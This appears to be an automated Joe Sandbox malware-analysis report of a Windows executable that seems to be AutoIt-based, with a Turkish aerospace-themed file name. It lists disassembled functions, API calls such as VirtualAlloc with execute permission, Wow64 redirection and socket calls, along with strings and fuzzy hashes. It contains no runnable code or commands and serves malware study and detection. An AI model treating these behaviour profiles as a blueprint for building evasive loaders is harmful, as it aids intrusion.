Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 6bc9bed276708f0da4b652904ebf9cb2a89a5feda0a20b2dd2012acde7cba245
Instruction ID: 5854e28144877a7c73762753186045031b9f01cbc4f615cc7ac071c34f5191c7
Opcode Fuzzy Hash: 6bc9bed276708f0da4b652904ebf9cb2a89a5feda0a20b2dd2012acde7cba245
Instruction Fuzzy Hash: E431FE71200216ABEB618E38CC01BEB7BA9FB59334F204719F9B5A22E0D735E8508B50

Function 010273D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 01027461
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 01027475
SendMessageW.USER32(?,00001002,00000000,?), ref: 01027499

Strings

SysMonthCal32, xrefs: 0102742C

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 589c8323e2f402848bb38913f7c9ab2666a13af545bc3ff711b71b187d47476a
Instruction ID: 263666db36516daf477a0c3fe2b1d5260b4ebe678a9126329e832b65f63f10bb
Opcode Fuzzy Hash: 589c8323e2f402848bb38913f7c9ab2666a13af545bc3ff711b71b187d47476a
Instruction Fuzzy Hash: A421A332500229ABDF268E64CC45FEA3BB9FF48724F110154FE956B1D0DB75A851DBA0

Function 01027B93 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 01027C4A
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 01027C58
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 01027C5F

Strings

msctls_updown32, xrefs: 01027BC4

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: e25211ee5b4a7e7cc27a9484e2e8d7bd12171fbbcce8be5a94be98fd84de4ec5
Instruction ID: d51fd40abb26563977aeea93914d013071f42468182f93707a77890499ce0bdf
Opcode Fuzzy Hash: e25211ee5b4a7e7cc27a9484e2e8d7bd12171fbbcce8be5a94be98fd84de4ec5
Instruction Fuzzy Hash: A82181B5600119AFEB21DF28DCC1DA737EDEF5A394B540059FA819B351CB36EC118BA0

Function 01026CB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 01026D3B
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 01026D4B
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 01026D70

Strings

Listbox, xrefs: 01026D08

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: ed7afdf0eafab88629d20c75a5e4bfbf4e24ff4fe92bcd55077bbbba540d121b
Instruction ID: eb9da11f1dc0f71398f338c068e8fcbf963351acfb768fa69867e60adb7eec0b
Opcode Fuzzy Hash: ed7afdf0eafab88629d20c75a5e4bfbf4e24ff4fe92bcd55077bbbba540d121b
Instruction Fuzzy Hash: 6521B332600128BFDF229F58DC44FBB3BBAEB89750F118128F9859B191C6729C5187A0

Function 0102770E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 01027772
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 01027787
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 01027794

Strings

msctls_trackbar32, xrefs: 01027749

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: ecd303c9c196038dd254d1349b8b22f1f478aeb85d86c20f464d935ff7dd4057
Instruction ID: adb2d854bb4a12a08a64d338643f7b4ad5454754d9c25135d086e10b2a838086
Opcode Fuzzy Hash: ecd303c9c196038dd254d1349b8b22f1f478aeb85d86c20f464d935ff7dd4057
Instruction Fuzzy Hash: FB11E372240219BAEF205E65CC05FEB7BA9FF89B54F114528FA85A6090C672E411CB20

Function 00FA4C36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00FA4B83,?), ref: 00FA4C44
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00FA4C56

Strings

kernel32.dll, xrefs: 00FA4C3F
Wow64RevertWow64FsRedirection, xrefs: 00FA4C50

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: 8861d8242ea9e5524d563994c356eafe70b119196f28dccbde1c22747eb7f6de
Instruction ID: cf4f60e89ee45b7e563f556ddde3797f991ecaa7305805c0be426c4fa5e1f080
Opcode Fuzzy Hash: 8861d8242ea9e5524d563994c356eafe70b119196f28dccbde1c22747eb7f6de
Instruction Fuzzy Hash: 5CD01270951713CFD7305F32D91860676E8AF067A1B61882DD4E9DA114E6B4E880C751

Function 01020DE7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,01021039), ref: 01020DF5
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 01020E07

Strings

advapi32.dll, xrefs: 01020DF0
RegDeleteKeyExW, xrefs: 01020E01

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: d3972bb9f285f078eedb48fbd72201c68d753126b7a2baeb9655aecc27d44efa
Instruction ID: 6c18c41cf9db0c9690ce582a131a295fc6820e6b546708ec08fddcc3e4251d27
Opcode Fuzzy Hash: d3972bb9f285f078eedb48fbd72201c68d753126b7a2baeb9655aecc27d44efa
Instruction Fuzzy Hash: A0D01270510723CFD7705F75C408647B6E5AF05696F618C6DE9C6D6104D6B9D4E0C750

Function 00FA4C03 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00FA4BD0,?,00FA4DEF,?,010652F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00FA4C11
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00FA4C23

Strings

kernel32.dll, xrefs: 00FA4C0C
Wow64DisableWow64FsRedirection, xrefs: 00FA4C1D

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 30264a49fbe41aa5f3700fbf1e247280222662798702f040e93aa348b6096480
Instruction ID: 217c0d9e45c1a72ab11372653bd4df22dfc5fcdb5d751a492d4ffe7af58c6dae
Opcode Fuzzy Hash: 30264a49fbe41aa5f3700fbf1e247280222662798702f040e93aa348b6096480
Instruction Fuzzy Hash: 7BD01270911713CFD7306F71D918607B6E5EF0A6A1B618C2DD4CAD6210E6F4E880C750

Function 010190E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,01018CF4,?,0102F910), ref: 010190EE
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 01019100

Strings

kernel32.dll, xrefs: 010190E9
GetModuleHandleExW, xrefs: 010190FA

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 037e388141abf5be54928bf3bec4c38f65b8df718a9db7cb917aa8d1227f8131
Instruction ID: d344fe2d0bb21b18cf41d7130511b99b58552d5bd1d6c624dae9a2a163a659f7
Opcode Fuzzy Hash: 037e388141abf5be54928bf3bec4c38f65b8df718a9db7cb917aa8d1227f8131
Instruction Fuzzy Hash: A2D01734510723CFDB309F36D82960776E5AF0A695B26C86EE9C6DA544E6B9C4C0CB90

Function 00FE1714 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00FE1718
__swprintf.LIBCMT ref: 00FE1749

Strings

%.3d, xrefs: 00FE1723
WIN_XPe, xrefs: 00FE1788

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: dcf3c337816b28508416f5c492ce092332a436e9c260133c2506022d89a7ef2b
Instruction ID: c1035e63a379a30d9dd3eea17c641b75235baaf833e4d02ec5c0cf4fa158fbe5
Opcode Fuzzy Hash: dcf3c337816b28508416f5c492ce092332a436e9c260133c2506022d89a7ef2b
Instruction Fuzzy Hash: BED01273805159EAC7149A939889EBD777CB709741F500456F80692140E2358798F621

Function 00FF717D Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 636896c1529f5efce703f1a3b8f013f2e988054d24bb8dfca0398e96d5cec84a
Instruction ID: 24c29dba4e7b54534e2858e599ac92212c670d4343658d54d763bdc098a2e496
Opcode Fuzzy Hash: 636896c1529f5efce703f1a3b8f013f2e988054d24bb8dfca0398e96d5cec84a
Instruction Fuzzy Hash: A4C16C75A0421AEFCB14DF94C884EAEFBB5FF48710B148599E905EB261D730ED81EB90

Function 0101E02A Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 0101E0BE
CharLowerBuffW.USER32(?,?), ref: 0101E101

Part of subcall function 0101D7A5: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0101D7C5

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 0101E301
_memmove.LIBCMT ref: 0101E314

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: 3f01d1b1cbb78d55a91afd71bc3292c978ea7fbfcbe0069d8a7c3a127c8dc404
Instruction ID: c76df6713682dbe8d128e495d3b2a9e63abeae79bffa33b9aaa9b4d340681a5b
Opcode Fuzzy Hash: 3f01d1b1cbb78d55a91afd71bc3292c978ea7fbfcbe0069d8a7c3a127c8dc404
Instruction Fuzzy Hash: 77C157716083018FC755DF28C880A6EBBE4FF89714F04896EF9999B351D739E946CB82

Function 01018093 Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 010180C3
CoUninitialize.OLE32 ref: 010180CE

Part of subcall function 00FFD56C: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00FFD5D4

VariantInit.OLEAUT32(?), ref: 010180D9
VariantClear.OLEAUT32(?), ref: 010183AA

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 7b5e4a69c46e27b8e8de1d905f5d0cdf7c2d28b04468ca7ab37be8844c5b5241
Instruction ID: 636f1d1d8a74bc13468f014af4767e2d9206f75167215ca2bbd0e27857cf1261
Opcode Fuzzy Hash: 7b5e4a69c46e27b8e8de1d905f5d0cdf7c2d28b04468ca7ab37be8844c5b5241
Instruction Fuzzy Hash: 68A169752047019FDB50DF54C881B6AB7E4BF8A354F48845DFA969B3A1CB78EE04CB82

Function 00FF7530 Relevance: 6.2, APIs: 4, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,01032C7C,?), ref: 00FF76EA
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,01032C7C,?), ref: 00FF7702
CLSIDFromProgID.OLE32(?,?,00000000,0102FB80,000000FF,?,00000000,00000800,00000000,?,01032C7C,?), ref: 00FF7727
_memcmp.LIBCMT ref: 00FF7748

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 1ae52d5e116c0ff9dec3657765858db47d7db4d704a7412ac742b33b4a26dcaf
Instruction ID: 962e0c32296557c41c534b5dc2288577ec22e2d98fc629899a2c084164a0622d
Opcode Fuzzy Hash: 1ae52d5e116c0ff9dec3657765858db47d7db4d704a7412ac742b33b4a26dcaf
Instruction Fuzzy Hash: 0181FE75900209EFCB04DFA4C984DEEB7B9FF89315F244558E505EB260DB71AE05DB60

Function 00FF687D Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00FF688E
SysAllocString.OLEAUT32(00000000), ref: 00FF6937
VariantCopy.OLEAUT32 ref: 00FF6966
VariantClear.OLEAUT32(?), ref: 00FF698D

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: d52f1f92745349006cb85a6da59485be2332c309931f9b3fb9eef3e75b40973e
Instruction ID: d857bd3db42298a20ad0b0e7a462307d019170df689a162411b4d47fc0bc5e43
Opcode Fuzzy Hash: d52f1f92745349006cb85a6da59485be2332c309931f9b3fb9eef3e75b40973e
Instruction Fuzzy Hash: 5551D375B0430ADADB24AF65D891B3EB3E5AF45310F20C81FE696DB2A1DF78D841A710

Function 010297F4 Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(011FEBD8,?), ref: 01029863
ScreenToClient.USER32(00000002,00000002), ref: 01029896
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 01029903

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 49af3bffc4e4290ee30487f6d9e2dfcf39a93588bb83ee570a3efe027cf1bbaf
Instruction ID: 053e7130836c370abaf3f0ff2082af8a8f0cd308cce23a6317b3524aae207b9d
Opcode Fuzzy Hash: 49af3bffc4e4290ee30487f6d9e2dfcf39a93588bb83ee570a3efe027cf1bbaf
Instruction Fuzzy Hash: 6E518274A00229EFCF21CF6CC884AAE7BF5FF45364F148199F8959B291D771A981CB90

Function 00FF9A80 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00FF9AD2
__itow.LIBCMT ref: 00FF9B03

Part of subcall function 00FF9D53: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00FF9DBE

SendMessageW.USER32(?,0000110A,00000001,?), ref: 00FF9B6C
__itow.LIBCMT ref: 00FF9BC3

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: f9d81ed1d44f34ba0a9cd14cb99eb071b829b9f49470244b7acb57631c8b2479
Instruction ID: 7bebb116de7114108ed9ee0e2e49ba93f267805cd3db362cc90ed52fe2af9474
Opcode Fuzzy Hash: f9d81ed1d44f34ba0a9cd14cb99eb071b829b9f49470244b7acb57631c8b2479
Instruction Fuzzy Hash: 0B417070A0420DABDF21EF54DC45FFE7BB9EF89760F000059BA05662A1DBB49A44DBA1

Function 010169AA Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 010169D1
WSAGetLastError.WSOCK32(00000000), ref: 010169E1

Part of subcall function 00FA9837: __itow.LIBCMT ref: 00FA9862
Part of subcall function 00FA9837: __swprintf.LIBCMT ref: 00FA98AC

